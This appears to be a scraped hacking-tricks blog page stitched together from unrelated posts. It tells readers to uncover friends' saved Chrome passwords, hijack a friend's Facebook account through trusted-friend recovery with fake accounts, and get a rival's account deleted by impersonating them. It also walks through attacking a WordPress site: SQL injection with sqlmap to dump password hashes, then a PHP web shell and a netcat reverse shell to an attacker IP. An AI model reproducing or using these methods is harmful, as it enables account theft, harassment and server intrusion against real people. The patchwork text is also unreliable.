In this post i will show you a simple but very powerfull trick  to view orhack saved password in google chrome. It does not  matter for which website the password is saved it will work on all of them. It will work on Facebook, Gmail, Yahoo, twitter and many more. If you get your hands on your friendcomputer  you can hack their password with this simple little trick. It does not require any software or addons to be installed on your computer. Lets get started.

How to do that ?

1. Open any website where password is saved by user. Here i will demonstrate with facebook but it will work on any website.

2. Right click on password(Dots or asterisks) as shown in below image.

3.Then click on Inspect element.

4.Then change Password to text as shown in below picture.

• Before changing it will look like below:

•  After changing it will look like below:

5. Done now asterisk or dots will changed to text. Still confused or did not got any steps then watch video below but make sure to watch it in high defination. If you like it then like the video.
http://youtu.be/ZTxRCW6zaCI

HOW HACKERS TARGET AND HACK YOUR WEBSITE

The answer to this question may be difficult to determine, simply because there are so many ways to hack a site. Our aim in this article to show you the techniques most used by hackers in targeting and hacking your site!

Let’s suppose that this is your site: hack-test.com

Let’s ping this site to get the server IP:

Now we have 173.236.138.113 – this is the server IP where our target site is hosted.

To find other sites hosted on the same server, we will use sameip.org:

Same IP
26 sites hosted on IP Address 173.236.138.113

ID	Domain	Site Link
1	hijackthisforum.com	hijackthisforum.com
2	sportforum.net	sportforum.net
3	freeonlinesudoku.net	freeonlinesudoku.net
4	cosplayhell.com	cosplayhell.com
5	videogamenews.org	videogamenews.org
6	gametour.com	gametour.com
7	qualitypetsitting.net	qualitypetsitting.net
8	brendanichols.com	brendanichols.com
9	8ez.com	8ez.com
10	hack-test.com	hack-test.com
11	kisax.com	kisax.com
12	paisans.com	paisans.com
13	mghz.com	mghz.com
14	debateful.com	debateful.com
15	jazzygoodtimes.com	jazzygoodtimes.com
16	fruny.com	fruny.com
17	vbum.com	vbum.com
18	wuckie.com	wuckie.com
19	force5inc.com	force5inc.com
20	virushero.com	virushero.com
21	twincitiesbusinesspeernetwork.com	twincitiesbusinesspeernetwork.com
22	jennieko.com	jennieko.com
23	davereedy.com	davereedy.com
24	joygarrido.com	joygarrido.com
25	prismapp.com	prismapp.com
26	utiligolf.com	utiligolf.com

Twenty-six other websites are hosted on this server [173.236.138.113]. Many hackers will target all other sites on the same server in order to hack your site. But for the purpose of study, we will target your site only and put aside hacking the other sites on same server.

We’ll need more information about your site, such as:

1. DNS records (A, NS, TXT, MX and SOA)
2. Web Server Type (Apache, IIS, Tomcat)
3. Registrar (the company that owns your domain)
4. Your name, address, email and phone
5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
6. Your server OS (Unix,Linux,Windows,Solaris)
7. Your server open ports to internet (80, 443, 21, etc.)

Let’s start with finding your site’s DNS records. We will use the website “Who.is” to achieve this:

We have discovered that your site DNS records are:

HACK-TEST.COM DNS RECORDS

Record	Type	TTL	Priority	Content
hack-test.com	A	4 hours		173.236.138.113 ()
hack-test.com	SOA	4 hours		ns1.dreamhost.com. hostmaster.dreamhost.com. 2011032301 15283 1800 1814400 14400
hack-test.com	NS	4 hours		ns1.dreamhost.com
hack-test.com	NS	4 hours		ns3.dreamhost.com
hack-test.com	NS	4 hours		ns2.dreamhost.com
www.hack-test.com	A	4 hours		173.236.138.113 ()

Let’s determine the web server type:

As you see, your site web server is Apache. We will determine its version later.

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank:  1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit:  1 Month: 2.0 3 Month: 3.7

Now it is time to find your Doman Registrar and your name, address, email and phone:

We have now got your registrar and other vital information about you. We can find the type of scripts on your site (the OS type, web server version) by using a cool tool in backtrack 5 R1 called Whatweb:

Now we found that your site is using a famous php script called WordPress, that your server os is Fedora Linux and that your web server version is (apache 2.2.15), let’s find open ports in your server.

To do this, we will use nmap:

1 – Find services that run on server

root@bt:/# nmap -sV hack-test.com 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.0013s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware) 

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . 

Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

2 – Find server OS

root@bt:/# nmap -O hack-test.com 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.00079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp closed ssh 

80/tcp open http
MAC Address: 00:0C:29:01:8A:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22 (Fedora Core 6)
Network Distance: 1 hop 

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . 

Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

Only port 80 is open and OS is Linux 2.6.22(Fedora Core 6)

Now that we have gathered all the important information about your site, let’s scan it for vulnerabilities like

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF, and so forth.

We will use Nikto.pl to gather info, perhaps, some vulnerabilities:

root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com 

- Nikto v2.1.4 

--------------------------------------------------------------------------- 

+ Target IP: 192.168.1.2
+ Target Hostname: hack-test.com
+ Target Port: 80
+ Start Time: 2011-12-29 06:50:03 

--------------------------------------------------------------------------- 

+ Server: Apache/2.2.15 (Fedora)
+ ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6448 items checked: 1 error(s) and 6 item(s) reported on remote host
+ End Time: 2011-12-29 06:50:37 (34 seconds) 

--------------------------------------------------------------------------- 

+ 1 host(s) tested

We will also use W3AF. You can find this tool in backtrack 5 R1

  root@bt:/pentest/web/w3af# ./w3af_gui 

Starting w3af, running on:
Python version:
2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3]
GTK version: 2.20.1
PyGTK version: 2.17.0 

w3af - Web Application Attack and Audit Framework
Version: 1.2
Revision: 4605
Author: Andres Riancho and the w3af team.

We will insert our site URL and choose full audit option:

After some time, the scan will finish and you will see

Your site is vulnerable to sql injection, xss and others!

Let’s investigate the sql injection vulnerability:

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

This is the vulnerable url and cat is the vulnerable parameter.

So, let’s exploit this vulnerability:

We will find that exploitating this vuln failed, so we will use sqlmap to the job and dump all database information that we need to hack this site J

Using sqlmap with –u url

After some seconds you will see

Type n and press enter to continue

As you see your site is vulnerable to error-based sql injection and your mysql database version is 5

Let’s find all databases in your site by adding “–dbs ”

Now we found 3 databases

We will dump wordpress database tables by adding “–D wordpress –tables ”

We will find all wordpress tables

We want to dump “wp_users” table, so we will find all users (admin?) information (user is and password hash) and try to crack hash and enter wordpress control panel ( wp-admin)

We will columns of “wp_users” table by adding “-T wp_users –columns ”

We will find 22 columns

We just need to dump to columns, so we will dump (user_login and user_pass ) columns by adding

-C user_login,user_pass –dump

We will find important information; we found now users and pass hashes

but we want to crack those hashes to clear text passwords. We will use the online site “http://www.onlinehashcrack.com/free-hash-reverse.php”

And try to crack this hash 7CBB3252BA6B7E9C422FAC5334D22054

And clear text password is q1w2e3

And user name is “GeorgeMiller”

We will login with these details in “wp-admin ”

And we are in!

Ok let’s try to upload php web shell to run some linux commands on your site server J

We will edit a plugin in wordpress called “Textile ” or any plugin you found in plugins page.

And choose to edit it

We will insert php web shell instead of real plugin. After we’ve done this, we will hit “update file” and browse to our new php shell

Woo, the php shell works. Now we can manipulate your site files, but we want only to get root on your server and hack all other sites too.

We will choose “back-connect “tab from php web shell and make back connection to our ip “192.168.1.6? on port “5555?

But before we hit connect, we first make netcat listen on port “5555? on our attacker machine

Now hit connect and you will see:

Let’s try some linux commands

 id 

uid=48(apache) gid=489(apache) groups=489(apache) 

pwd 

/var/www/html/Hackademic_RTB1/wp-content/plugins 

uname -a 

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

Id command is used to show us what user id, group.

pwd command is used to show us our current path on server

How to Hack Your Friend’s Facebook Account Easily

Millions of people are talking about Facebook Account Hacking Tricks. But after a long search a few are able to do so who have much knowledge of HTML coding and professional in IT. But Hackers are trying to get the best and easy trick to Hack the Facebook Accounts. Everybody know that it’s not so much easy to hack facebook accounts. Facebook pays a lot of money to it’s security employees and experts to reduce hacking of accounts. But hackers have gained a super rage in IT market and they have unleashed a trick to hack facebook account. This trick is not funny or fake at all.

Many of you know that Facebook has integrated a new feature to recover forgotten passwords of users i.e. Three Trusted Facebook Account Friends. However, this trick is integrated for recovering the lost passwords by Facebook but Hackers reversed it and use this trick to hack the Facebook Accounts. This is a major black hole in Facebook and it’s security plannings.
Recommended: Facebook Distracting You From Work? Block It!
Many people hacks Facebook Accounts by Keylogging, Phishing sites, DDOS attacks etc but that is neither called hacking nor the people called hackers. These are the alternate methods of hacking.
By the way the trick unleashed which we are talking about here is also not so much simple at all. But it is easy to do as about every people and children can do so. You have to make THREE FAKE FACEBOOK ACCOUNTS to do this trick. And the most important is that these all 3 FAKE ACCOUNTS were added in your friend’s list whose account you are about to Hack.
Recommended: Facebook Tracks You Even After Logging Out
After this, you are able to hack your Friend’s Facebook Account easily by just following the steps given below.

Step To Step Guide How to hack facebook account Easily:

• As we have already discussed  before to create THREE FAKE FACEBOOK ACCOUNTS and add them in the friend list of your friend’s Facebook account whom account you are about to hack. If you have done so, then you have finished about 90% of your work to Hack the account.
• The, click on Forgot Facebook Password button. Facebook system will show you three solutions to recover your password as shown below

• Fill the Email address of your friend in the first section and give your Friend’s Name and your name in the Name Field
• Then, click on Search Button.
• If you have done above steps correctly, then you will see the profile picture of your friend whose Email address is to be filled/whose account is to be hacked
• After that, click on No Longer Have Access to These

• Then, enter a New Email Address which has not to be used with Facebook Account earlier and click on the Submit button to proceed to next step

• You will be asked for the security question’s answer. If you know the answer then it’s perfect and if you don’t know then fill it with wrong answers 3 times

• After this submission/giving wrong answers, Facebook Security will show you TRUSTED FRIENDS feature to recover the account
• Click on the Continue button

• Then, it will ask you to fill/select 3 Friends ( select your 3 Fake Account’s Name) from the shown list and click the Continue button each time after the selection
• After the above step, Facebook have sent the security codes to each of the 3 accounts selected
• Then, Login to each of the 3 accounts and note the security codes manually and fill them in proper manner ( If they are not found in Inbox then check the Spam Folder too )
• Now, the Password Reset Email has been sent to the new Email provided by you in the 7^th step

That’s it! You are done successfully, Now, you have access to your Friend’s Facebook Account which has been HACKED

How to lock the folders

You can lock and unlock your folder with this simple trick !

Procedure :
a folder on the desktop and name it as “folder”
2. Now, open notepad and write ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} and now (Notepad Menu) File>save as.
3. In the ‘save as’ name it as lock.bat and click save ! (Save it on Desktop)
4. Now, again open notepad again and write ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} folder and now (Notepad Menu) File>save as.
5. In the ‘save as’ name it as key.bat and click save ! (Save it on Desktop)
6. Now, double click lock.bat to lock the folder and now if you open your folder, control panel will open up !
7. Now, double click key.bat to open the folder and now if you open your folder, you can access your data inside the folder again !
8. Lock your folder and hide the key.bat somewhere else on your hard disk !
9. Whenever you want to open your folder just paste the key.bat on desktop and open your folder using it !
    

 

Pinterest

15Oct

HOW TO HACK A WEBSITE : FUNNY TRICKS

Posted in FUUNNY TRICKS | Leave a comment

here is a trick from which you can hack any website on the internet and alter anything in that. And I can assure you that you can do it within 10 seconds! But the funny thing is that by this trick you can only edit the website virtually and not in real. I mean You can edit any website but it will not effect the code of the website or its other components. It will only be edited in your browser.
Open any website in Google Chrome browser, or in Mozilla Firefox and enter the below code to the address bar of the browser.

javascript:document.body.contentEditable='true'; document.designMode='on'; void 0

Now , You can move your mouse cursor to anywhere inside the website and click a text and edit it as you wish. You can also alter/delete images as well. Isn’t it fun? Enjoy with the trick. Do not forget to share this on social networks like Facebook and Twitter.

HIDE DATA IN MOBILE WITHOUT ANY SOFTWARE

This trick can be used for any JAVA phone from Nokia,Samsung,Motorola,LG or any other company.
JUST FOLLOW SIMPLE STEPS

1. Create any new folder or you can use any existing folder that is to be hidden.
2. Rename the folder to any name but with the extension of .jad like if I want to hide my images folder then I will name it as IMG.jad
3. Now create a new folder with the same name in the same directory but with the extension of.jar So, I would create the folder with the name IMG.jar
4. And thats it!! My orignal images folder which has been renamed with .jad gets hidden and only folder with.jar extension is visible which is empty.So,my data is protected/hidden from unwanted eyes.

To unhide the orignal folder you have to remove the .jar extension from the new folder and your orignal folder with all the files and with .jad will become visible.

Use Any Sim In Any Modem Without Unlocking

You Can’t use any SIM in any modem without unlocking the modem. Now you can do that It’s very simple.

Steps

1. Insert SIM in Modem.
2. Modem show invalid SIM, just ignore it and close modem software.
3. Start NOKIA PC suite.
4. Go to Nokia PC suite connect to internet option.
5. Go to Configure. Select your data card modem,and make all operator apn setting as like when we use Nokia mobile connection.
6. Finish set up.
7. Now connect to internet through PC suite.
8. Wow your net is connected without unlocking the modem. Or U can use it by Other Method also just put Sim card in the modem and  connect it to PC. Modem software if it Says invalid Sim ,just go to connections and connect Ur Sim will be recognized there..
9. Connect it.

Read Deleted SMS Messages On Any Nokia S60 Phone

This would help all people who accidentally deleted an important sms and lost valuable information.
Required utility:
1) Any system explorer or file explorer program eg. Fexplorer
Step 1) Open Fexplorer
Step 2) Select drive C: or D: depending on the memory in which the Sms messages have been saved.

Step 3) For example u selected c: , Then open “system” folder.
step 4) Then in “system” folder open “mail” folder.
step 5) Then in this folder u will see different folders (eg 0010001_s) and certain files (eg 00100000). These files are the actual messages. Browse through every folder and open all files till u get the sms u are looking for.
Step 6) For opening the files don’t choose options>file>open as it will show format not supported rather choose options>file>hex/text viewer. By selecting the “Hex/ text viewer” u ll be able to open and read the deleted SMS message
i it will be useful information for you guys

HOW TO DELETE OTHER’S FACEBOOK ACCOUNT

Facebook is a online world now. People play , talk, enjoy, quarrel and even live inside Facebook nowadays. Usually if this is the height of addiction , for sure this may lead to some new Friends and some new rivals inside Facebook. You might also come across existing rivals inside Facebook, Usually you see your rivals in friends suggestion widget. This is because your rival will surely be having some mutual friends which makes Facebook to suggest them to you.

Its time for you to take revenge against your rivals on Facebook, But how? Isn’t it harsh enough if you delete their Facebook account?

• To delete someone’s Facebook account follow these steps. It is little long process but surely will work if you act wise enough to fool Facebook team, which is not so hard.
• Get the Victim’s Facebook Profile Link, which is not so hard.
• Their Email ID which they use on Facebook.
• Their Date of Birth, This is the hard part of the trick, But should somehow  manage to get their DOB.
• Create an Email ID having the Victim’s complete name in it, like Jorge-Bush12345@gmail.com (If the victim’s full name is Jorge Bush).
• Now open this Facebook Report Link from here.

• Enter the details on this page and submit the report.
• Now ask any of your friend/friends who is a mutual friend in your rival’s account to report your rival’s profile as spam.
• You will get a mail after few days on the email ID you created which is similiar to the Victim’s email ID after your report was gone through a manual review. Explain them that you lost the access to your Facebook account and the Email ID associated with it. And try to convince them that a hacker may be using your account now and also making damage to your personality.
• After this they may ask you for more explanations or if they feel your reply as acceptable, They will delete the account and will mail you as “Your account has been successfully deleted from Facebook, Create a new one from here”.

Magic numbers tricks for facebook

The top leading social networking site Facebook is becoming a super rage on Facebook users. New and superior tricks/tools are to be created for Facebook daily just for entertain. The latest and much liked Facebook Trick is the Magic Number Trick today.

What is Magic Number Trick?

Magic Number Trick is generally not any kind of magic, it is just simple unique ID numbers of various Users/Groups/Pages nothing else. Basically, if you paste these numbers somewhere in comments/status, they will get converted in your page link/group or your profile automatically.
If you give the code to your friends and ask them to paste it either in their status or comments, then they will be amazed after seeing the results. Facebook Users have a great craze for this entertaining trick. If you want to try this trick, then we will guide you step by step (this is not any kind of spam at all).

How Facebook Magic Number Trick Works?

• Login to your Facebook account
• Go to the profile link (your own/your friend’s profile link) and track the ID number from there, it looks like this;

• Copy that ID number from the Facebook URL
• Then, paste the number in the code given below (replacing ID text with the ID number copied)

@+[ID:0:]

• Suppose the ID number is 123456789012345 then after pasting this ID number to the code it’ll look like this;

@+[123456789012345:0:]

• Now, ask your friends to copy and paste this code in their status/comments and Remove the + sign from the code like this

@+[123456789012345:0:]  >>  @[123456789012345:0:]

• And finally hit ENTER and they get certainly amazed for the results

Hope it worked for you and if you really liked this trick then SHARE THIS Amazing Article to your friends and relatives and entertain them